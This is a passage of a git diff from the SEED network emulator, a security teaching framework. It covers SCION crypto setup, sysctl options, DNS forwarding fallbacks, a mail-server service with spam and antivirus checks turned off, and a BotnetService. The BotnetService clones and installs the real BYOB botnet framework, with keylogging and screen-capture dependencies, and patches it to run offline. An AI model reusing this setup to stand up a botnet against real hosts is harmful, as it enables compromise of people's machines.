" /bin/scion-pki testcrypto -t \"$TOPO\" -o /work --as-validity 30d; " + "else " + " echo 'scion-pki not found in container image' >&2; exit 127; " + "fi" + ) + + result = subprocess.run( + ["docker", "run", "--rm", "-v", f"{tempdir}:/work", image, "sh", "-lc", cmd], + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + check=False, + ) + + if result.returncode != 0: + raise RuntimeError("scion-pki failed:\n" + (result.stdout or "")) + + if result.stdout: + self._log(result.stdout) + + + for line in result.stdout.split('\n'): + self._log(line) + assert result.returncode == 0, "scion-pki failed" + + def __gen_topofile(self, base_layer: ScionBase, tempdir: str) -> str: + """Generate a standard SCION .topo file representing the emulated network.""" + path = pjoin(tempdir, "seed.topo") + + with open(path, 'w') as f: + f.write("ASes:\n") + for asn in base_layer.getAsns(): + as_: ScionAutonomousSystem = base_layer.getAutonomousSystem(asn) + isds = self.getAsIsds(asn) + isd, is_core = isds[0] + assert len(isds) == 1, f"AS {strAsn} must be a member of exactly one ISD" + ia = IA(isd, asn) + + f.write(f' "{ia}": ') + attributes = [f"'{attrib}': true" for attrib in as_.getAsAttributes(isd)] + if not is_core: + assert (isd, asn) in self.__cert_issuer, f"non-core AS{ia} does not have a cert issuer in ISD{isd}" + issuer = self.__cert_issuer[(isd, asn)] + ia = IA(isd, issuer) + assert issuer in self.__isd_core[isd] and asn in self.__isd_members[isd] + attributes.append(f"'cert_issuer': {ia}") + + f.write("{{{}}}\n".format(", ".join(attributes))) + + return path + + def __provision_crypto(self, as_: ScionAutonomousSystem, isd: int, is_core: bool, node: Node, tempdir: str): + + asn = as_.getScionAsn() + + def copyFile(src: str, filename: str, subdir: str = None): + # Tempdir will be gone when imports are resolved, therefore we must use setFile + with open(src, 'rt', encoding='utf8') as file: + content = file.read() + # FIXME: The Docker compiler adds an extra newline in generated files + # (https://github.com/seed-labs/seed-emulator/issues/125). + # SCION does not accept PEM files with an extra newline, so we strip a newline here + # that is later added again. + if content.endswith('\n'): + content = content[:-1] + handleScionConfFile(node, filename, content, subdir) + + def myImport(name, subdir: str): + path = pjoin("crypto", subdir) + copyFile(pjoin(tempdir, f"AS{asn.getFileStr()}", path, name), + name, path) + + if is_core: + for kind in ["sensitive", "regular"]: + myImport(f"ISD{isd}-AS{asn.getFileStr()}.{kind}.crt", "voting") + myImport(f"{kind}-voting.key", "voting") + myImport(f"{kind}.tmpl", "voting") + for kind in ["root", "ca"]: + myImport(f"ISD{isd}-AS{asn.getFileStr()}.{kind}.crt", "ca") + myImport(f"cp-{kind}.key", "ca") + myImport(f"cp-{kind}.tmpl", "ca") + myImport(f"ISD{isd}-AS{asn.getFileStr()}.pem", "as") + myImport("cp-as.key", "as") + myImport("cp-as.tmpl", "as") + + #XXX(benthor): trcs need to be known for other isds as well + for isd in self.__isd_core.keys(): + trcname = f"ISD{isd}-B1-S1.trc" + copyFile(pjoin(tempdir, f"ISD{isd}", "trcs", trcname), + trcname, 'certs') + + # Master keys are generated only once per AS + key0, key1 = as_.getSecretKeys() + handleScionConfFile(node, 'master0.key', key0, 'keys') + handleScionConfFile(node, 'master1.key', key1, 'keys') diff --git a/seedemu/layers/external.py b/seedemu/layers/external.py new file mode 100644 index 000000000..4bc44152b --- /dev/null +++ b/seedemu/layers/external.py @@ -0,0 +1,50 @@ +from dataclasses import dataclass, field +from seedemu.core import Layer + +@dataclass +class ExternalInterface: + name: str + network: str + ip: str + mac: str = None + +@dataclass +class ExternalComponent: + name: str + role: str = "router" + asn: int = None + interfaces: list = field(default_factory=list) + scion: dict = field(default_factory=dict) + impl_type: str = "generic" + + def addInterface(self, name, network, ip, mac=None): + iface = ExternalInterface(name, network, ip, mac) + self.interfaces.append(iface) + +class ExternalComponentLayer(Layer): + def __init__(self): + self.components = {} + + def addComponent(self, comp: ExternalComponent): + self.components[comp.name] = comp + + def configure(self, emulator): + """ + Register all external components in the emulator so that + the builder and compilers can access them later. + """ + for comp in self.components.values(): + emulator.registerExternalComponent(comp) + + def getName(self) -> str: + return "ExternalComponent" + + def getTypeName(self) -> str: + return "ExternalComponent" + + def getDependencies(self): + return {} + + def render(self, emulator): + pass + diff --git a/seedemu/options/Sysctl.py b/seedemu/options/Sysctl.py index c47d2ee83..b11233394 100644 --- a/seedemu/options/Sysctl.py +++ b/seedemu/options/Sysctl.py @@ -12,7 +12,7 @@ class IP_FORWARD(Option): value_type = bool @classmethod def supportedModes(cls) -> OptionMode: - """!@brief 'ip_forward' sysctl flag can be changed in the 'sysctl:' section + """!@brief 'ip_forward' sysctl flag can be changed in the 'sysctl:' section of the node's service definition in docker-compose.yml file. This does not require an image rebuild. """ @@ -22,7 +22,7 @@ def default(cls): return True def __repr__(self): return f"net.ipv4.{self.getName().lower()}={'1' if self._mutable_value else '0'}" - + class Conf(BaseOptionGroup): """ net.ipv4.conf.* flags @@ -42,9 +42,9 @@ class Conf(BaseOptionGroup): """ - # /conf/[all|default|interface]/{rp_filter,log_martians, ..} + # /conf/[all|default|interface]/{rp_filter,log_martians, ..} # all..sets a value for all interfaces - # 'interface' .. changes special settings per interface + # 'interface' .. changes special settings per interface # (where "interface" is the name of your network interface) class RP_FILTER(Option): @@ -58,17 +58,17 @@ def supportedModes(cls) -> OptionMode: """ return OptionMode.BUILD_TIME|OptionMode.RUN_TIME - + def all(self) -> bool: return self._mutable_value.get('all', False) - + def default(self) -> bool: return self._mutable_value.get('default', False) - + @classmethod def default(cls): return {'all': False, 'default': False} - + def __repr__(self): vals = [] for _if, val in self._mutable_value.items(): @@ -81,22 +81,23 @@ def repr_build_time(self): if _if not in ['all', 'default']: vals.append( f"net.ipv4.conf.{_if}.{self.getName().lower()}={'1' if val else '0'}" ) return '\n '.join(vals) - + def repr_runtime(self): vals = [] for _if, val in self._mutable_value.items(): if _if in ['all', 'default']: vals.append( f"net.ipv4.conf.{_if}.{self.getName().lower()}={'1' if val else '0'}" ) return '\n '.join(vals) - + #value_type = bool for some 'int' for others class Udp(BaseOptionGroup): - + ''' + #NOTE must be set on docker-host class mem(Option): # rename total_mem or global_mem ?! """!@brief Number of pages allowed for queueing by all UDP sockets. udp_mem - vector of 3 INTEGERs: min, pressure, max - + min: Below this number of pages UDP is not bothered about its memory appetite. When amount of memory allocated by UDP exceeds this number, UDP starts to moderate memory usage. @@ -118,12 +119,12 @@ def repr_runtime(self): return self.__repr__() def repr_build_time(self): return self.__repr__() - + ''' class rmem_min(Option): """!@brief Minimal size of receive buffer used by UDP sockets in moderation. udp_rmem_min - INTEGER - + Each UDP socket is able to use the size for receiving data, even if total pages of UDP sockets exceed udp_mem pressure. The unit is byte. Default: 4K @@ -144,7 +145,7 @@ def repr_build_time(self): class wmem_min(Option): """!@brief Minimal size of send buffer used by UDP sockets in moderation. - udp_wmem_min - INTEGER + udp_wmem_min - INTEGER Each UDP socket is able to use the size for sending data, even if total pages of UDP sockets exceed udp_mem pressure. The unit is byte. Default: 4K @@ -162,9 +163,10 @@ def repr_runtime(self): return self.__repr__() def repr_build_time(self): return self.__repr__() - - class Tcp(BaseOptionGroup): + class Tcp(BaseOptionGroup): + ''' + #NOTE must be set on docker-host class mem(Option): """ tcp_mem - vector of 3 INTEGERs: min, pressure, max @@ -193,7 +195,8 @@ def __repr__(self): def repr_runtime(self): return self.__repr__() def repr_build_time(self): - return self.__repr__() + return self.__repr__() + ''' class rmem(Option): """ tcp_rmem - vector of 3 INTEGERs: min, default, max @@ -224,8 +227,8 @@ def default(cls): # (4096, 87380,) return (4096, 131072, 6291456)# again my laptop's values def __repr__(self): - return f"net.ipv4.tcp_rmem={self.value[0]} {self.value[1]} {self.value[2]}" - + return f'net.ipv4.tcp_rmem="{self.value[0]} {self.value[1]} {self.value[2]}"' + class wmem(Option): """ tcp_wmem - vector of 3 INTEGERs: min, default, max @@ -253,5 +256,5 @@ def supportedModes(cls) -> OptionMode: def default(cls): return (4096, 16384, 4194304) def __repr__(self): - return f"net.ipv4.tcp_wmem={self.value[0]} {self.value[1]} {self.value[2]}" - + return f'net.ipv4.tcp_wmem="{self.value[0]} {self.value[1]} {self.value[2]}"' + diff --git a/seedemu/services/BotnetService.py b/seedemu/services/BotnetService.py index 2972018c5..f32c3ae62 100644 --- a/seedemu/services/BotnetService.py +++ b/seedemu/services/BotnetService.py @@ -5,7 +5,7 @@ from seedemu.core import Node, Service, Server, Emulator from typing import Dict -BYOB_VERSION='3924dd6aea6d0421397cdf35f692933b340bfccf' +BYOB_VERSION = 'b4946908b8a3691f75a7e15ffe6883ef509afc91' BotnetServerFileTemplates: Dict[str, str] = {} @@ -48,49 +48,53 @@ python3 server.py --port {} ''' -BotnetServerFileTemplates['server_patch'] = '''\ -diff --git a/byob/core/util.py b/byob/core/util.py -index eca72d4..96160c6 100644 ---- a/byob/core/util.py -+++ b/byob/core/util.py -@@ -76,6 +76,7 @@ def public_ip(): - Return public IP address of host machine - - """ -+ return local_ip() - import sys - if sys.version_info[0] > 2: - from urllib.request import urlopen -@@ -143,6 +144,7 @@ def geolocation(): - """ - Return latitude/longitude of host machine (tuple) - """ -+ return ("0", "0") - import sys - import json - if sys.version_info[0] > 2: -diff --git a/byob/modules/util.py b/byob/modules/util.py -index 5c5958a..ea1c9d4 100644 ---- a/byob/modules/util.py -+++ b/byob/modules/util.py -@@ -76,6 +76,7 @@ def public_ip(): - Return public IP address of host machine - - """ -+ return local_ip() - import sys - if sys.version_info[0] > 2: - from urllib.request import urlopen -@@ -143,6 +144,7 @@ def geolocation(): - """ - Return latitude/longitude of host machine (tuple) - """ -+ return ("0", "0") - import sys - import json - if sys.version_info[0] > 2: +BotnetServerFileTemplates['requirements_override'] = '''\ +# py-cryptonight +# git+https://github.com/jtgrassie/pyrx.git#egg=pyrx + +mss==5.0.0;python_version>'3' +WMI==1.4.9;python_version>'3' +numpy;python_version>'3' +pyxhook==1.0.0;python_version>'3' +twilio==6.35.4;python_version>'3' +colorama==0.4.3;python_version>'3' +requests;python_version>'3' +PyInstaller;python_version>'3' +pycryptodome==3.9.6;python_version>'3' +pycrypto==2.6.1;python_version>'3' + +mss==3.3.0;python_version<'3' +WMI==1.4.9;python_version<'3' +numpy==1.15.2;python_version<'3' +pyxhook==1.0.0;python_version<'3' +twilio==6.14.0;python_version<'3' +colorama==0.3.9;python_version<'3' +requests;python_version<'3' +PyInstaller==3.6;python_version<'3' +pycryptodomex==3.8.1;python_version<'3' + +opencv-python==3.4.3.18;python_version<'3' + +pyHook==1.5.1;sys.platform=='win32' +pypiwin32==223;sys.platform=='win32' ''' +BotnetServerFileTemplates['byob_patch_py'] = '''\ +#!/usr/bin/env python3 +import re, pathlib +root = pathlib.Path('/tmp/byob') +targets = ['byob/core/util.py','byob/modules/util.py'] +for rel in targets: + p = root / rel + s = p.read_text(encoding='utf-8') + s = re.sub(r'def\s+public_ip\s*\(\)\s*:[\s\S]*?(?=\\n\s*def\s|\\Z)', + 'def public_ip():\\n """Return public IP address of host machine"""\\n return local_ip()\\n\\n', s) + s = re.sub(r'def\s+geolocation\s*\(\)\s*:[\s\S]*?(?=\\n\s*def\s|\\Z)', + 'def geolocation():\\n """Return latitude/longitude of host machine (tuple)"""\\n return ("0", "0")\\n\\n', s) + p.write_text(s, encoding='utf-8') +''' + + class BotnetServer(Server): """! @brief The BotnetServer class. @@ -156,11 +160,20 @@ def install(self, node: Node): node.addSoftware('python3 git cmake python3-dev gcc g++ make python3-pip') node.addBuildCommand('git clone https://github.com/malwaredllc/byob.git /tmp/byob/') node.addBuildCommand('git -C /tmp/byob/ checkout {}'.format(BYOB_VERSION)) # server_patch is tested only for this commit + + # override requirements + node.addBuildCommand("mkdir -p /tmp/byob/byob") + node.addBuildCommand( + "cat > /tmp/byob/byob/requirements.txt <<'EOF'\n" + + BotnetServerFileTemplates['requirements_override'] + + "\nEOF" + ) node.addBuildCommand('pip3 install -r /tmp/byob/byob/requirements.txt') - # patch byob - removes external request for getting IP location, which won't work if "real" internet is not connected. - node.setFile('/tmp/byob.patch', BotnetServerFileTemplates['server_patch']) - node.appendStartCommand('git -C /tmp/byob/ apply /tmp/byob.patch') + node.setFile('/tmp/byob_patch.py', BotnetServerFileTemplates['byob_patch_py']) + node.appendStartCommand('chmod +x /tmp/byob_patch.py') + node.appendStartCommand('python3 /tmp/byob_patch.py') # patch + # add the init script to server node.setFile('/tmp/byob_server_init_script', BotnetServerFileTemplates['server_init_script']) @@ -254,7 +267,12 @@ def install(self, node: Node): # get byob dependencies. node.addSoftware('python3 git cmake python3-dev gcc g++ make python3-pip') - node.addBuildCommand('curl https://raw.githubusercontent.com/malwaredllc/byob/{}/byob/requirements.txt > /tmp/byob-requirements.txt'.format(BYOB_VERSION)) + + node.addBuildCommand( + "cat > /tmp/byob-requirements.txt <<'EOF'\n" + + BotnetServerFileTemplates['requirements_override'] + + "\nEOF" + ) node.addBuildCommand('pip3 install -r /tmp/byob-requirements.txt') fork = False diff --git a/seedemu/services/DHCPService.py b/seedemu/services/DHCPService.py index 807e97397..fac14caee 100644 --- a/seedemu/services/DHCPService.py +++ b/seedemu/services/DHCPService.py @@ -81,6 +81,7 @@ def install(self, node:Node): """ node.addSoftware('isc-dhcp-server') + node.appendClassName("DHCPService") ifaces = self.__node.getInterfaces() assert len(ifaces) > 0, 'node {} has no interfaces'.format(node.getName()) diff --git a/seedemu/services/DevService.py b/seedemu/services/DevService.py index 191f3abd1..88c71a37c 100644 --- a/seedemu/services/DevService.py +++ b/seedemu/services/DevService.py @@ -255,7 +255,7 @@ def _configureRealWorldAccess(self, emulator: Emulator): pnode = emulator.getBindingFor(vnode) # or resolvVnode(vnode) ?! # a router with DevService installed on it -> (is its own gateway to service net / real world) - if pnode.getRole() == NodeRole.Router or pnode.getRole() == NodeRole.BorderRouter: + if pnode.getRole() == NodeRole.Router or pnode.getRole() == NodeRole.BorderRouter or pnode.getRole() == NodeRole.OpenVpnRouter: pnode = promote_to_real_world_router(pnode, False) # continue diff --git a/seedemu/services/DomainNameCachingService.py b/seedemu/services/DomainNameCachingService.py index c954a7d15..65f0dd2a6 100644 --- a/seedemu/services/DomainNameCachingService.py +++ b/seedemu/services/DomainNameCachingService.py @@ -134,13 +134,74 @@ def install(self, node: Node): node.appendStartCommand('service named start') for (zone_name, vnode_name) in self.__pending_forward_zones.items(): - pnode = self.__emulator.resolvVnode(vnode_name) - - ifaces = pnode.getInterfaces() - assert len(ifaces) > 0, 'resolvePendingRecords(): node as{}/{} has no interfaces'.format(pnode.getAsn(), pnode.getName()) - vnode_addr = ifaces[0].getAddress() - node.appendFile('/etc/bind/named.conf.local', - 'zone "{}" {{ type forward; forwarders {{ {}; }}; }};\n'.format(zone_name, vnode_addr)) + # Prefer authoritative master IPs recorded by DomainNameService + vnode_addr = None + addrs: list = [] + try: + dns_layer: DomainNameService = self.__emulator.getRegistry().get('seedemu', 'layer', 'DomainNameService') + masters = dns_layer.getMasterIp() + if zone_name in masters and len(masters[zone_name]) > 0: + addrs = masters[zone_name] + except Exception: + pass + + if vnode_addr is None and not addrs: + try: + pnode = self.__emulator.getBindingFor(vnode_name) + ifaces = pnode.getInterfaces() + if len(ifaces) > 0: + vnode_addr = ifaces[0].getAddress() + except Exception: + pass + + if vnode_addr is None and not addrs: + try: + server_vnodes = dns_layer.getZoneServerNames(zone_name) + for v in server_vnodes: + try: + pn = self.__emulator.getBindingFor(v) + ifaces = pn.getInterfaces() + if len(ifaces) > 0: + addrs.append(ifaces[0].getAddress()) + except Exception: + continue + except Exception: + pass + + if vnode_addr is None and addrs: + vnode_addr = addrs[0] + + if vnode_addr is None: + # binding should already be resolved by now; use it directly + try: + pnode = self.__emulator.getBindingFor(vnode_name) + ifaces = pnode.getInterfaces() + assert len(ifaces) > 0, 'resolvePendingRecords(): node as{}/{} has no interfaces'.format(pnode.getAsn(), pnode.getName()) + vnode_addr = ifaces[0].getAddress() + except Exception: + pass + + if vnode_addr is None: + # final fallback: derive dns-auth-* name from ns-* and search registry + cand = vnode_name + if cand.startswith('ns-'): + core = cand[3:] + for suf in ('-com', '-net', '-cn'): + if core.endswith(suf): + core = core[: -len(suf)] + break + cand = f'dns-auth-{core}' + reg = self.__emulator.getRegistry() + for ((scope, typ, name), obj) in reg.getAll().items(): + if typ in ['hnode', 'rnode'] and name == cand: + ifaces = obj.getInterfaces() + if len(ifaces) > 0: + vnode_addr = ifaces[0].getAddress() + break + + if vnode_addr is not None: + node.appendFile('/etc/bind/named.conf.local', + 'zone "{}" {{ type forward; forwarders {{ {}; }}; }};\n'.format(zone_name, vnode_addr)) if not self.__configure_resolvconf: return diff --git a/seedemu/services/EmailService.py b/seedemu/services/EmailService.py new file mode 100644 index 000000000..1ed13b10b --- /dev/null +++ b/seedemu/services/EmailService.py @@ -0,0 +1,332 @@ +from __future__ import annotations +""" +EmailService (skeleton) + +A lightweight helper to programmatically attach email servers to a SEED Emulator +Docker compilation in either 'transport' mode (explicit Postfix transport maps) +or 'dns' mode (DNS-first, using smtp_host_lookup = dns). + +This is a utility class intended to be used by example scripts. It does not +subclass Service; instead, it generates Docker compose entries and attaches +containers via the Docker compiler API. + +Example usage: + + svc = EmailService(platform="linux/arm64", mode="transport") + svc.add_provider(domain="seedemail.net", asn=150, ip="10.150.0.10", gateway="10.150.0.254", + ports={"smtp": "2525", "submission": "5870", "imap": "1430", "imaps": "9930"}) + svc.add_provider(domain="corporate.local", asn=151, ip="10.151.0.10", gateway="10.151.0.254", + ports={"smtp": "2526", "submission": "5871", "imap": "1431", "imaps": "9931"}) + svc.attach_to_docker(docker) + +""" +from typing import Dict, List, Optional, Callable +import os + + +MAILSERVER_COMPOSE_TEMPLATE_TRANSPORT = """\ + {name}: + image: mailserver/docker-mailserver:12.1 + platform: {platform} + container_name: {name} + hostname: {hostname} + domainname: {domain} + restart: unless-stopped + privileged: true + environment: + - OVERRIDE_HOSTNAME={hostname}.{domain} + - PERMIT_DOCKER=connected-networks + - ONE_DIR=1 + - ENABLE_CLAMAV=0 + - ENABLE_FAIL2BAN=0 + - ENABLE_POSTGREY=0 + - ENABLE_OPENDKIM=0 + - ENABLE_OPENDMARC=0 + - ENABLE_POLICYD_SPF=0 + - DMS_DEBUG=1 + volumes: + - ./{name}-data/mail-data/:/var/mail/ + - ./{name}-data/mail-state/:/var/mail-state/ + - ./{name}-data/mail-logs/:/var/log/mail/ + - ./{name}-data/config/:/tmp/docker-mailserver/ + - /etc/localtime:/etc/localtime:ro + ports: + - "{smtp_port}:25" + - "{submission_port}:587" + - "{imap_port}:143" + - "{imaps_port}:993" + cap_add: + - NET_ADMIN + - SYS_PTRACE + command: > + sh -c " + echo 'Starting mailserver setup...' && + ip route del default 2>/dev/null || true && + ip route add default via {gateway} dev eth0 && + echo 'Configuring Postfix transport for cross-domain mail...' && +{transport_entries} + postmap /etc/postfix/transport && + postconf -e 'transport_maps = hash:/etc/postfix/transport' && + sleep 10 && + supervisord -c /etc/supervisor/supervisord.conf + " +""" + +MAILSERVER_COMPOSE_TEMPLATE_DNS = """\ + {name}: + image: mailserver/docker-mailserver:12.1 + platform: {platform} + container_name: {name} + hostname: {hostname} + domainname: {domain} + restart: unless-stopped + privileged: true + {dns_block} + environment: + - OVERRIDE_HOSTNAME={hostname}.{domain} + - PERMIT_DOCKER=connected-networks + - ONE_DIR=1 + - ENABLE_CLAMAV=0 + - ENABLE_FAIL2BAN=0 + - ENABLE_POSTGREY=0 + - ENABLE_OPENDKIM=0 + - ENABLE_OPENDMARC=0 + - ENABLE_POLICYD_SPF=0 + - DMS_DEBUG=1 + volumes: + - ./{name}-data/mail-data/:/var/mail/ + - ./{name}-data/mail-state/:/var/mail-state/ + - ./{name}-data/mail-logs/:/var/log/mail/ + - ./{name}-data/config/:/tmp/docker-mailserver/ + - /etc/localtime:/etc/localtime:ro + ports: + - "{smtp_port}:25" + - "{imap_port}:143" + cap_add: + - NET_ADMIN + - SYS_PTRACE + command: > + sh -c " + echo 'Starting mailserver setup...' && + ip route del default 2>/dev/null || true && + ip route add default via {gateway} dev eth0 && + echo 'Configuring Postfix for DNS-first routing...' && + postconf -e 'relayhost =' && + postconf -e 'smtp_host_lookup = dns' && + postconf -e 'smtp_dns_support_level = enabled' && + sleep 10 && + supervisord -c /etc/supervisor/supervisord.conf + " +""" + + +class EmailService: + def __init__(self, platform: str = "linux/amd64", mode: str = "transport", dns_nameserver: Optional[str] = None): + assert mode in ("transport", "dns"), "mode must be 'transport' or 'dns'" + self._platform = platform + self._mode = mode + self._dns_nameserver = dns_nameserver + self._providers: List[Dict] = [] + self._use_build_wrappers = True # build minimal local images to avoid docker-compose image inspect key error + + def add_provider( + self, + domain: str, + asn: int, + ip: str, + gateway: str, + net: str = "net0", + hostname: str = "mail", + name: Optional[str] = None, + ports: Optional[Dict[str, str]] = None, + dns: Optional[str] = None, + ) -> "EmailService": + """Register a provider/mailserver to be attached later. + ports expected keys for transport-mode: smtp, submission, imap, imaps + ports expected keys for dns-mode: smtp, imap (exposed sets only these two) + """ + if name is None: + safe = domain.replace(".", "-") + name = f"mail-{safe}" + if ports is None: + # provide basic defaults + ports = { + "smtp": "2525", + "submission": "5870", + "imap": "1430", + "imaps": "9930", + } + self._providers.append( + { + "name": name, + "hostname": hostname, + "domain": domain, + "asn": asn, + "network": net, + "ip": ip, + "gateway": gateway, + "ports": ports, + "dns": dns, + } + ) + return self + + def get_providers(self) -> List[Dict]: + return list(self._providers) + + def attach_to_docker(self, docker) -> None: + """Generate compose entries and attach containers to the Docker compiler. + 'docker' is expected to be an instance of seedemu.compiler.Docker. + """ + # domain->IP map for transport maps + domain_map = {p["domain"]: p["ip"] for p in self._providers} + + for p in self._providers: + if self._mode == "transport": + transport_lines = "" + for dom, ip in domain_map.items(): + if dom == p["domain"]: + continue + transport_lines += f" echo '{dom} smtp:[{ip}]:25' >> /etc/postfix/transport &&\n" + transport_lines += f" echo 'mail.{dom} smtp:[{ip}]:25' >> /etc/postfix/transport &&\n" + if self._use_build_wrappers: + # use build wrappers + compose_entry = ( + f" {p['name']}:\n" + f" build:\n" + f" context: ./{p['name']}_wrapper\n" + f" platform: {self._platform}\n" + f" container_name: {p['name']}\n" + f" hostname: {p['hostname']}\n" + f" domainname: {p['domain']}\n" + f" restart: unless-stopped\n" + f" privileged: true\n" + f" environment:\n" + f" - OVERRIDE_HOSTNAME={p['hostname']}.{p['domain']}\n" + f" - PERMIT_DOCKER=connected-networks\n" + f" - ONE_DIR=1\n" + f" - ENABLE_CLAMAV=0\n" + f" - ENABLE_FAIL2BAN=0\n" + f" - ENABLE_POSTGREY=0\n" + f" - ENABLE_OPENDKIM=0\n" + f" - ENABLE_OPENDMARC=0\n" + f" - ENABLE_POLICYD_SPF=0\n" + f" - DMS_DEBUG=1\n" + f" ports:\n" + f" - \"{p['ports'].get('smtp','25')}:25\"\n" + f" - \"{p['ports'].get('submission','587')}:587\"\n" + f" - \"{p['ports'].get('imap','143')}:143\"\n" + f" - \"{p['ports'].get('imaps','993')}:993\"\n" + f" cap_add:\n" + f" - NET_ADMIN\n" + f" - SYS_PTRACE\n" + f" command: >\n" + f" sh -c \"\n" + f" echo 'Starting mailserver setup...' &&\n" + f" ip route del default 2>/dev/null || true &&\n" + f" ip route add default via {p['gateway']} dev eth0 &&\n" + f" echo 'Configuring Postfix transport for cross-domain mail...' &&\n" + f"{transport_lines}" + f" postmap /etc/postfix/transport &&\n" + f" postconf -e 'transport_maps = hash:/etc/postfix/transport' &&\n" + f" sleep 10 &&\n" + f" supervisord -c /etc/supervisor/supervisord.conf\n" + f" \"\n" + ) + else: + compose_entry = MAILSERVER_COMPOSE_TEMPLATE_TRANSPORT.format( + name=p["name"], + platform=self._platform, + hostname=p["hostname"], + domain=p["domain"], + gateway=p["gateway"], + smtp_port=p["ports"].get("smtp", "25"), + submission_port=p["ports"].get("submission", "587"), + imap_port=p["ports"].get("imap", "143"), + imaps_port=p["ports"].get("imaps", "993"), + transport_entries=transport_lines, + ) + else: + dns_value = p.get("dns") or self._dns_nameserver + dns_block = f"dns:\n - {dns_value}\n" if dns_value else "" + if self._use_build_wrappers: + compose_entry = ( + f" {p['name']}:\n" + f" build:\n" + f" context: ./{p['name']}_wrapper\n" + f" platform: {self._platform}\n" + f" container_name: {p['name']}\n" + f" hostname: {p['hostname']}\n" + f" domainname: {p['domain']}\n" + f" restart: unless-stopped\n" + f" privileged: true\n" + f" {dns_block}" + f" environment:\n" + f" - OVERRIDE_HOSTNAME={p['hostname']}.{p['domain']}\n" + f" - PERMIT_DOCKER=connected-networks\n" + f" - ONE_DIR=1\n" + f" - ENABLE_CLAMAV=0\n" + f" - ENABLE_FAIL2BAN=0\n" + f" - ENABLE_POSTGREY=0\n" + f" - ENABLE_OPENDKIM=0\n" + f" - ENABLE_OPENDMARC=0\n" + f" - ENABLE_POLICYD_SPF=0\n" + f" - DMS_DEBUG=1\n" + f" ports:\n" + f" - \"{p['ports'].get('smtp','25')}:25\"\n" + f" - \"{p['ports'].get('imap','143')}:143\"\n" + f" cap_add:\n" + f" - NET_ADMIN\n" + f" - SYS_PTRACE\n" + f" command: >\n" + f" sh -c \"\n" + f" echo 'Starting mailserver setup...' &&\n" + f" ip route del default 2>/dev/null || true &&\n" + f" ip route add default via {p['gateway']} dev eth0 &&\n" + f" echo 'Configuring Postfix for DNS-first routing...' &&\n" + f" postconf -e 'relayhost =' &&\n" + f" postconf -e 'smtp_host_lookup = dns' &&\n" + f" postconf -e 'smtp_dns_support_level = enabled' &&\n" + f" sleep 10 &&\n" + f" supervisord -c /etc/supervisor/supervisord.conf\n" + f" \"\n" + ) + else: + compose_entry = MAILSERVER_COMPOSE_TEMPLATE_DNS.format( + name=p["name"], + platform=self._platform, + hostname=p["hostname"], + domain=p["domain"], + gateway=p["gateway"], + smtp_port=p["ports"].get("smtp", "25"), + imap_port=p["ports"].get("imap", "143"), + dns_block=dns_block, + ) + + docker.attachCustomContainer( + compose_entry=compose_entry, + asn=p["asn"], + net=p["network"], + ip_address=p["ip"], + ) + + def get_output_callbacks(self) -> List[Callable]: + """Return file-writer callbacks to be executed in output/ to create wrapper Dockerfiles. + These will be run via Emulator.updateOutputDirectory after compile. + """ + if not self._use_build_wrappers: + return [] + callbacks: List[Callable] = [] + for p in self._providers: + wrapper_dir = f"{p['name']}_wrapper" + def make_cb(dir_name=wrapper_dir): + def cb(_compiler): + # We're likely running from the scenario folder, not output/ + out_dir = os.path.join('output', dir_name) + os.makedirs(out_dir, exist_ok=True) + dockerfile_path = os.path.join(out_dir, 'Dockerfile') + with open(dockerfile_path, 'w') as f: + f.write('FROM mailserver/docker-mailserver:12.1\n') + return cb + callbacks.append(make_cb()) + return callbacks diff --git a/seedemu/services/EthereumService/EthTemplates/EthServerFileTemplates.py b/seedemu/services/EthereumService/EthTemplates/EthServerFileTemplates.py index b9bd15bc9..f41ffe47c 100644 --- a/seedemu/services/EthereumService/EthTemplates/EthServerFileTemplates.py +++ b/seedemu/services/EthereumService/EthTemplates/EthServerFileTemplates.py @@ -1,35 +1,36 @@ -from typing import Dict -import os - -def get_file_content(filename): - """! - @brief Get the content of a file - @param filename the file name (relative path) - @return the content of the file - """ - real_filename = os.path.dirname(os.path.realpath(__file__)) + "/" + filename - with open(real_filename, "r") as file: - return file.read() - - -EthServerFileTemplates: Dict[str, str] = { - 'bootstrapper': get_file_content("files_ethereum/bootstrapper.sh"), - 'beacon_bootstrapper': get_file_content("files_ethereum/beacon_bootstrapper.sh") -} - -UtilityServerFileTemplates: Dict[str, str] = { - 'fund_account': get_file_content("files_utility/fund_account.py"), - 'deploy_contract': get_file_content("files_utility/deploy_contract.py"), - 'utility_server': get_file_content("files_utility/utility_server.py"), - 'server_setup': get_file_content("files_utility/utility_server_setup.py") -} - -FaucetServerFileTemplates: Dict[str, str] = { - 'faucet_server': get_file_content("files_faucet/faucet_server.py"), - 'fund_accounts': get_file_content("files_faucet/fund_accounts.sh"), - 'fundme': get_file_content("files_faucet/fundme.py"), - 'faucet_url': "http://{address}:{port}/", - 'faucet_fund_url': "http://{address}:{port}/fundme", - 'fund_curl': "curl -X POST -d 'address={recipient}&amount={amount}' http://{address}:{port}/fundme" -} - +from typing import Dict +import os + +def get_file_content(filename): + """! + @brief Get the content of a file + @param filename the file name (relative path) + @return the content of the file + """ + real_filename = os.path.dirname(os.path.realpath(__file__)) + "/" + filename + with open(real_filename, "r") as file: + return file.read() + + +EthServerFileTemplates: Dict[str, str] = { + 'bootstrapper': get_file_content("files_ethereum/bootstrapper.sh"), + 'beacon_bootstrapper': get_file_content("files_ethereum/beacon_bootstrapper.sh") +} + +UtilityServerFileTemplates: Dict[str, str] = { + 'fund_account': get_file_content("files_utility/fund_account.py"), + 'deploy_contract': get_file_content("files_utility/deploy_contract.py"), + 'utility_server': get_file_content("files_utility/utility_server.py"), + 'server_setup': get_file_content("files_utility/utility_server_setup.sh") + +} + +FaucetServerFileTemplates: Dict[str, str] = { + 'faucet_server': get_file_content("files_faucet/faucet_server.py"), + 'fund_accounts': get_file_content("files_faucet/fund_accounts.sh"), + 'fundme': get_file_content("files_faucet/fundme.py"), + 'faucet_url': "http://{address}:{port}/", + 'faucet_fund_url': "http://{address}:{port}/fundme", + 'fund_curl': "curl -X POST -d 'address={recipient}&amount={amount}' http://{address}:{port}/fundme" +} + diff --git a/seedemu/services/EthereumService/EthTemplates/files_utility/utility_server_setup.py b/seedemu/services/EthereumService/EthTemplates/files_utility/utility_server_setup.sh similarity index 94% rename from seedemu/services/EthereumService/EthTemplates/files_utility/utility_server_setup.py rename to seedemu/services/EthereumService/EthTemplates/files_utility/utility_server_setup.sh index d0666f97f..cc37bce74 100644 --- a/seedemu/services/EthereumService/EthTemplates/files_utility/utility_server_setup.py +++ 